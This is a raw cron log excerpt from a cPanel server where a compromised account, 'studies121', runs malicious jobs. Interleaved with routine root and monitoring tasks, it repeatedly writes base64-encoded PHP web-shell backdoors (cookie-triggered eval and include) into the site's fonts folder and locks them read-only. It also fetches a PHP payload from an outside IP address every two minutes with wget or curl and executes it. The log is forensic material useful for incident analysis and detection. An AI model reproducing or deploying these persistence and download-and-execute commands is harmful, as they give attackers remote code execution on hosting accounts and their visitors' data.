Feb 22 06:25:01 ip-184-168-122-23 CROND[11149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:25:01 ip-184-168-122-23 CROND[11151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:25:01 ip-184-168-122-23 CROND[11152]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:26:01 ip-184-168-122-23 CROND[11493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:26:01 ip-184-168-122-23 CROND[11494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:26:01 ip-184-168-122-23 CROND[11495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:26:01 ip-184-168-122-23 CROND[11496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:26:01 ip-184-168-122-23 CROND[11497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:27:01 ip-184-168-122-23 CROND[11927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:27:01 ip-184-168-122-23 CROND[11928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:27:01 ip-184-168-122-23 CROND[11930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:27:01 ip-184-168-122-23 CROND[11931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:28:01 ip-184-168-122-23 CROND[12252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:28:01 ip-184-168-122-23 CROND[12255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:28:01 ip-184-168-122-23 CROND[12257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:28:01 ip-184-168-122-23 CROND[12256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:28:01 ip-184-168-122-23 CROND[12254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:29:01 ip-184-168-122-23 CROND[12577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:29:02 ip-184-168-122-23 CROND[12578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:29:02 ip-184-168-122-23 CROND[12580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:29:02 ip-184-168-122-23 CROND[12582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:30:01 ip-184-168-122-23 CROND[12892]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:30:01 ip-184-168-122-23 CROND[12894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:30:01 ip-184-168-122-23 CROND[12896]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 06:30:01 ip-184-168-122-23 CROND[12895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:30:01 ip-184-168-122-23 CROND[12899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:30:01 ip-184-168-122-23 CROND[12897]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:30:01 ip-184-168-122-23 CROND[12898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:30:01 ip-184-168-122-23 CROND[12900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:31:01 ip-184-168-122-23 CROND[13225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:31:01 ip-184-168-122-23 CROND[13226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:31:01 ip-184-168-122-23 CROND[13230]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 06:31:01 ip-184-168-122-23 CROND[13229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:31:01 ip-184-168-122-23 CROND[13233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:32:01 ip-184-168-122-23 CROND[13538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:32:01 ip-184-168-122-23 CROND[13540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:32:01 ip-184-168-122-23 CROND[13541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:32:01 ip-184-168-122-23 CROND[13543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:32:01 ip-184-168-122-23 CROND[13542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:33:01 ip-184-168-122-23 CROND[13869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:33:01 ip-184-168-122-23 CROND[13870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:33:01 ip-184-168-122-23 CROND[13872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:33:01 ip-184-168-122-23 CROND[13871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:34:01 ip-184-168-122-23 CROND[14212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:34:02 ip-184-168-122-23 CROND[14214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:34:02 ip-184-168-122-23 CROND[14217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:34:02 ip-184-168-122-23 CROND[14215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:34:02 ip-184-168-122-23 CROND[14216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:35:01 ip-184-168-122-23 CROND[14630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:35:01 ip-184-168-122-23 CROND[14631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:35:01 ip-184-168-122-23 CROND[14632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:35:01 ip-184-168-122-23 CROND[14640]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 06:35:01 ip-184-168-122-23 CROND[14639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:35:01 ip-184-168-122-23 CROND[14637]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 06:35:01 ip-184-168-122-23 CROND[14638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 06:35:01 ip-184-168-122-23 CROND[14635]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 06:36:01 ip-184-168-122-23 CROND[14989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 06:36:01 ip-184-168-122-23 CROND[14990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 06:36:01 ip-184-168-122-23 CROND[14993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 06:36:01 ip-184-168-122-23 CROND[14994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 06:36:01 ip-184-168-122-23 CROND[14998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 06:37:01 ip-184-168-122-23 CROND[15315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
